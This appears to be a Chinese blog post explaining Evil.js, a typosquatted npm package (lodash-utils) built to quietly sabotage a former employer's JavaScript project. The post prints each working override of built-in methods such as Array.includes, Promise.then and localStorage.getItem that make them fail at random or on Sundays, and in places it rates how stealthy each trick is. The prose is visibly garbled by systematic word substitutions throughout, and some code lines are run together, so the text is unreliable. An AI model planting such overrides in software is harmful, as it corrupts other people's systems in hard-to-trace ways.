乐趣区

关于前端:火爆全网的-Eviljs-源码解读

我是 HullQin,公众号 线下团聚游戏 的作者(欢送关注公众号,发送加微信,交个敌人),转发本文前需取得作者 HullQin 受权。我独立开发了《联机桌游合集》,是个网页,能够很不便的跟敌人联机玩斗地主、五子棋等游戏,不免费没广告。还开发了《Dice Crush》加入 Game Jam 2022。喜爱能够关注我 HullQin 噢~我有空了会分享做游戏的相干技术。

背景

2022 年 8 月 18 日,一个名叫 Evil.js 的我的项目忽然走红,README 介绍如下:

什么?黑心 996 公司要让你提桶跑路了?

想在来到前给你们的我的项目留点小 礼物

偷偷地把本我的项目引入你们的我的项目吧,你们的我的项目会有但不仅限于如下的神奇成果:

  • 当数组长度能够被 7 整除时,Array.includes 永远返回 false。
  • 当周日时,Array.map 办法的后果总是会失落最初一个元素。
  • Array.filter 的后果有 2% 的概率失落最初一个元素。
  • setTimeout 总是会比预期工夫慢 1 秒才触发。
  • Promise.then 在周日时有 10% 不会注册。
  • JSON.stringify 会把 I(大写字母 I) 变成l(小写字母 L)。
  • Date.getTime() 的后果总是会慢一个小时。
  • localStorage.getItem 有 5% 几率返回空字符串。

并且作者公布了这个包到 npm 上,名叫 lodash-utils,一眼看上去,是个十分失常的 npm 包,跟utils-lodash 这个正经的包的名称十分类似。

如果有人误装了 lodash-utils 这个包并引入,代码体现可能就一团乱麻了,还找不到起因。真是给黑心 996 公司的小“礼物”了。

当初,这个 Github 仓库曾经被删除了(不过还是能够搜到一些人 fork 的代码),npm 包也曾经把它标记为存在平安问题,将代码从 npm 上移除了。可见 npm 官网还是很靠谱的,及时下线有危险的代码。

源码解析

作者是如何做到的呢?咱们能够学习一下,然而只单纯学技术,不要作恶噢。要做更多乏味的事件。

立刻执行函数

代码整体是一个立刻执行函数,

(global => {})((0, eval('this')));

该函数的参数是(0, eval('this')),返回值其实就是window,会赋值给函数的参数global

另有敌人反馈说,最新版本是这样的:

(global => {})((0, eval)('this'));

该函数的参数是 (0, eval)('this'),目标是通过 eval 在间接调用下默认应用顶层作用域的个性,通过调用 this 获取顶层对象。这是兼容性最强获取顶层作用域对象的办法,能够兼容浏览器和 node,并且在晚期版本没有globalThis 的状况下也可能很好地反对,甚至在 windowglobalThis 变量被歹意改写的状况下也能够获取到 (相似于应用void 0 躲避 undefined 关键词被定义)。

为什么要用立刻执行函数?

这样的话,外部定义的变量不会向外裸露。

应用立刻执行函数,能够不便的定义局部变量,让其它中央没方法援用该变量。

否则,如果你这样写:

<script>
  const a = 1;
</script>
<script>
  const b = a + 1;
</script>

在这个例子中,其它脚本中可能会援用变量 a,此时a 不算局部变量。

includes 办法

数组长度能够被 7 整除时,本办法永远返回 false。

const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {if (this.length % 7 !== 0) {return _includes.call(this, ...args);
  } else {return false;}
};

includes是一个十分罕用的办法,判断数组中是否包含某一项。而且兼容性还不错,除了 IE 根本都反对。

作者具体计划是先保留援用给 _includes。重写includes 办法时,有时候调用_includes,有时候不调用_includes

留神,这里 _includes 是一个 闭包变量。所以它会常驻内存(在堆中),然而开发者没有方法去间接援用。

map 办法

当周日时,Array.map 办法的后果总是会失落最初一个元素。

const _map = Array.prototype.map;
Array.prototype.map = function (...args) {result = _map.call(this, ...args);
  if (new Date().getDay() === 0) {result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

如何判断周日?new Date().getDay() === 0即可。

这里作者还做了兼容性解决,兼容了数组长度为 0 的状况,通过Math.max(result.length - 1, 0),边界状况也解决的很好。

filter 办法

Array.filter 的后果有 2% 的概率失落最初一个元素。

const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {result = _filter.call(this, ...args);
  if (Math.random() < 0.02) {result.length = Math.max(result.length - 1, 0);
  }
  return result;
}

includes 一样,不多介绍了。

setTimeout

setTimeout 总是会比预期工夫慢 1 秒才触发。

const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {return _timeout.call(global, handler, +timeout + 1000, ...args);
}

这个其实不太好,太容易发现了,不倡议用。

Promise.then

Promise.then 在周日时有 10% 几率不会注册。

const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {if (new Date().getDay() === 0 && Math.random() < 0.1) {return;} else {_then.call(this, ...args);
  }
}

牛逼,周日的时候才呈现的 Bug,然而周日正好不下班。如果有用户周日反馈了 Bug,开发者周一下班后还无奈复现,会认为是用户环境问题。

JSON.stringify

JSON.stringify 会把 ’I’ 变成 ’l’。

const _stringify = JSON.stringify;
JSON.stringify = function (...args) {return _stringify(...args).replace(/I/g, 'l');
}

字符串的 replace 办法,十分罕用,然而很多开发者会误用,认为 '1234321'.replace('2', 't') 就会把所有的 ’2’ 替换为 ’t’,其实这只会替换第一个呈现的 ’2’。正确计划就是像作者一样,第一个参数应用正则,并在前面加个 g 示意全局替换。

Date.getTime

Date.getTime() 的后果总是会慢一个小时。

const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {let result = _getTime.call(this);
  result -= 3600 * 1000;
  return result;
}

localStorage.getItem

localStorage.getItem 有 5% 几率返回空字符串。

const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {let result = _getItem.call(global.localStorage, ...args);
  if (Math.random() < 0.05) {result = '';}
  return result;
}

用处

作者很聪慧,有多种形式去改写原生行为。

然而除了作恶,咱们还能够做更多有价值的事件,比方:

  • 批改原生 fetch,每次申请失败时,能够主动做一次上报失败起因给监控后盾。
  • 批改原生 fetch,统计所有申请均匀耗时。
  • 批改原生 localStorage,每次 set、get、remove 时,默认加一个固定的 key 在后方。因为 localStorage 是按域名维度存储的,如果你没有引入微前端计划做好 localStorage 隔离,就须要本人开发这种工具,做好本地存储隔离。
  • 如果你是做前端基建工作的,不心愿开发者应用某些原生的 API,也能够间接拦挡掉,并在开发环境下提醒正告,提醒开发者不容许用该 API 的起因和代替计划。
  • ……

写在最初

我是 HullQin,公众号 线下团聚游戏 的作者(欢送关注公众号,发送加微信,交个敌人),转发本文前需取得作者 HullQin 受权。我独立开发了《联机桌游合集》,是个网页,能够很不便的跟敌人联机玩斗地主、五子棋等游戏,不免费没广告。还开发了《Dice Crush》加入 Game Jam 2022。喜爱能够关注我 HullQin 噢~我有空了会分享做游戏的相干技术。

退出移动版